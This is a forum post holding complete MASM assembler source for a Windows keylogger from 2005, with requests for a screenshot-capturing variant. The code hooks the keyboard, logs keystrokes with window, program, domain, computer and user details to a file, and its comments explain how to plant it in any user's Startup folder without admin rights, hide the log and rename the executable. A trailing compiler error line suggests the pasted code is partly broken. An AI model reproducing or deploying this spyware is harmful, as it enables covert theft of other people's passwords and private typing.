This isn't fancy like some I have seen here, but it is less than 5000 bytes.
I am interested in a keylogger that would save screenshots at adjustable intervals as well as typed input.
I am interested in a keylogger that would save screenshots at adjustable intervals as well as typed input.
CODE Intel Assembler
;******************************************************************************************* ; (BEST Viewed with NOTEPAD) ; CopyRight 2005, by ZOverLord at ZOverLords@Yahoo.com - ALL Rights Reserved ; ; "We Don't NEED no STINKIN DLL!"......ENJOY! vist http://testing.OnlyTheRightAnswers.com ; ; Proof Of Concept of using Low-Level Hooks without using any DLL for the Hook ; This Program is for Educational Proof Of Concept Use ONLY! ; ; This Program compiles in 4K, get it that's 4,096 Bytes. I got TIRED of all these folks ; who need a FAT program as well as a FAT DLL to create a Key-Logger so in frustration ; this proof of concept was created. Log Items include: ; ; Date-Time Stamps, Program Name, Window Title, Window Class, Domain Name, Computer Name ; User Name as well as the ability to be placed in StartUp Folders for ANY and/or ALL ; users. There is NOT any requirement for this to run as ADMIN, ANYONE can place it in ; the startup folder of any user, or for all users. ; ; The Logfile is named ZKeyLog.txt and seperate logs can be kept for seperate users this ; can be done automatically by simply placing the program in the: ; ; C:\Documents and Settings\All Users\Start Menu\Programs\Startup folder ; ; C:\Documents and Settings\?USER?\ folder as ZKeyLog.txt ; ("You can change the File to Hidden if needed") ; ; A Hot-Key of [CTRL]-[ALT]-[F11] will turn the Key-Logger Off ; ; There are two flavors one Raw ASM and one using INVOKES, Raw has more comments, low-level. ; ; You can rename the EXE file to something NOT so obvious if needed, read the AReadMe.txt ; ;******************************************************************************************* .386 .model flat, stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc include \masm32\include\advapi32.inc include \masm32\include\msvcrt.inc include \masm32\macros\macros.asm includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\advapi32.lib includelib \masm32\lib\msvcrt.lib ;== Prototypes ================================================================= KeyBoardProc proto :DWORD, :WPARAM, :LPARAM ;== Prototypes ================================================================= pushz macro szText:VARARG local nexti call nexti db szText,00h nexti: endm .data CopyRight db "CopyRight 2005, ZOverLords@Yahoo.com" Vist db "http://testing.OnlyTheRightAnswers.com " hBuffer dd ? hComputerName db 32 dup(0) hCurrentThreadPiD dd 0 hCurrentWindow dd 0 hDateFormat db "dd MMM yyyy", 0 hDomaineName db 128 dup(0) hFile dd 0 hHook dd 0 hmodul MODULEENTRY32 <> hSnapShot dd 0 hTimeFormat db "hh:mm:ss tt", 0 hUserName db 32 dup(0) msg MSG <> onlyOneCopy db "Global\zkl",0 .code main: invoke CreateMutexA,0,0,ADDR onlyOneCopy invoke GetLastError ; check to make sure we are the only copy running call GetLastError ; for fast user switching we still support one cmp eax,ERROR_ALREADY_EXISTS ; copy per user, but if we are the second copy je more_than_one_copy ; trying to start, we exit xor ebx, ebx invoke RegisterHotKey, NULL, 0badfaceh, MOD_CONTROL or MOD_ALT, VK_F11 pushz "ab" ; append in binary mode pushz "ZKeyLog.txt" ; name of log file call fopen add esp, 2*4 ; all c lib functions need fixup.. ;mov [hFile], eax ; save our file number mov hFile,eax invoke GetModuleHandleA, NULL invoke SetWindowsHookExA, WH_KEYBOARD_LL, ADDR KeyBoardProc, eax, ebx mov [hHook], eax ; ok here is our hook handle for later invoke GetMessageA, ADDR msg, NULL, NULL, NULL invoke UnhookWindowsHookEx, hHook invoke fclose, hFile more_than_one_copy: invoke ExitProcess, 0h ;############################################################## KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD LOCAL lpKeyState[256] :BYTE LOCAL lpClassName[64] :BYTE LOCAL lpCharBuf[32] :BYTE LOCAL lpDateBuf[12] :BYTE LOCAL lpTimeBuf[12] :BYTE LOCAL lpLocalTime :SYSTEMTIME ;---------------------------- lea edi, [lpKeyState] ; lets zero out our buffers push 256/4 pop ecx xor eax, eax rep stosd ; sets us up for doubleword from EAX mov eax, wParam cmp eax, WM_KEYUP ; only need WM_KEYDOWN je next_hook ; bypass double logging cmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWN je next_hook ; bypass double logging invoke GetForegroundWindow ; get handle for currently used window ( specific to NT ) cmp [hCurrentWindow], eax ; if its different to last one saved.. je no_window_change ; bypass all the headings mov [hCurrentWindow], eax ; save it for use now and compare later invoke GetClassName, hCurrentWindow, ADDR lpClassName, 64 invoke GetLocalTime, ADDR lpLocalTime invoke GetDateFormat, NULL, NULL, ADDR lpLocalTime, ADDR hDateFormat, ADDR lpDateBuf, 12 invoke GetTimeFormat, NULL, NULL, ADDR lpLocalTime, ADDR hTimeFormat, ADDR lpTimeBuf, 12 invoke GetWindowThreadProcessId, hCurrentWindow, ADDR hCurrentThreadPiD invoke CreateToolhelp32Snapshot, TH32CS_SNAPMODULE, hCurrentThreadPiD mov hSnapShot,eax mov hmodul.dwSize, sizeof MODULEENTRY32 invoke Module32First,hSnapShot,addr hmodul invoke CloseHandle,hSnapShot invoke GetWindowText, hCurrentWindow, ADDR lpKeyState, 256 lea esi, [hmodul.szExePath] ; print the current program exe name push esi lea esi, [lpTimeBuf] ; print the formatted time push esi lea esi, [lpDateBuf] ; print the formatted date push esi pushz 13,10,"[%s, %s - Program:%s]",13,10 push [hFile] call fprintf ; write the buffer to cache add esp, 3*4 lea esi, [lpClassName] ; print the current window class name push esi lea esi, [lpKeyState] ; print the current window title push esi pushz 13,10,"[ Window Title:%s - Window Class:%s]",13,10 push [hFile] call fprintf ; write the buffer to cache add esp, 3*4 mov hBuffer, 128 ; get the current domain name invoke GetComputerNameExA, 1, ADDR hDomaineName, ADDR hBuffer mov hBuffer, 32 ; get the current computer name invoke GetComputerNameExA, 0, ADDR hComputerName, ADDR hBuffer mov hBuffer, 32 ; get the current user name invoke GetUserName, ADDR hUserName, ADDR hBuffer lea esi, [hUserName] ; print the current user name push esi lea esi, [hComputerName] ; print the current computer name push esi lea esi, [hDomaineName] ; print the current domain name push esi pushz "[ Domain:%s - Computer:%s - User:%s]",13,10 push [hFile] call fprintf add esp, 3*4 invoke fflush, hFile no_window_change: mov esi, [lParam] ; we don't want to print shift or capslock names. lodsd ; it just makes the logs easier to read without them. cmp al, VK_LSHIFT ; they are tested later when distinguishing between je next_hook ; bypass left shift Key for upper/lowercase characters cmp al, VK_RSHIFT je next_hook ; bypass right shift Key cmp al, VK_CAPITAL je next_hook ; bypass caps lock Key cmp al, VK_ESCAPE je get_name_of_key ; we Want escape characters cmp al, VK_BACK je get_name_of_key ; we want backspace key cmp al, VK_TAB je get_name_of_key ; we want tab key ;------------------ lea edi, [lpCharBuf] ; zero initialise buffer for key text push 32/4 pop ecx xor eax, eax rep stosd ;---------- lea ebx, [lpKeyState] push ebx call GetKeyboardState ; get current keyboard state invoke GetKeyState, VK_LSHIFT xchg esi, eax ; save result in esi invoke GetKeyState, VK_RSHIFT or eax, esi ; al == 1 if either key is DOWN mov byte ptr [ebx + 16], al ; toggle a shift key to on/off invoke GetKeyState, VK_CAPITAL mov byte ptr [ebx + 20], al ; toggle caps lock to on/off mov esi, [lParam] lea edi, [lpCharBuf] push 00h push edi ; buffer for ascii characters push ebx ; keyboard state lodsd xchg eax, edx lodsd push eax ; hardware scan code push edx ; virutal key code call ToAscii ; convert to human readable characters test eax, eax ; if return zero, continue jnz test_carriage_return ; else, write to file. get_name_of_key: ; no need for large table of pointers to get asciiz mov esi, [lParam] lodsd ; skip virtual key code lodsd ; eax = scancode shl eax, 16 xchg eax, ecx lodsd ; extended key info shl eax, 24 or ecx, eax push 32 lea edi, [lpCharBuf] push edi push ecx call GetKeyNameTextA ; get the key text push edi pushz "[%s]" jmp write_to_file test_carriage_return: push edi pushz "%s" cmp byte ptr [edi], 0dh ; carriage return? jne write_to_file mov byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read. write_to_file: invoke fprintf, hFile next_hook: invoke CallNextHookEx, hHook, nCode, wParam, lParam ret KeyBoardProc ENDP end main hFile dd 0 invoke fclose, hFile C:\masm32\SOURCE\Log.asm(110) : error A2148: invalid symbol type in expression : fclose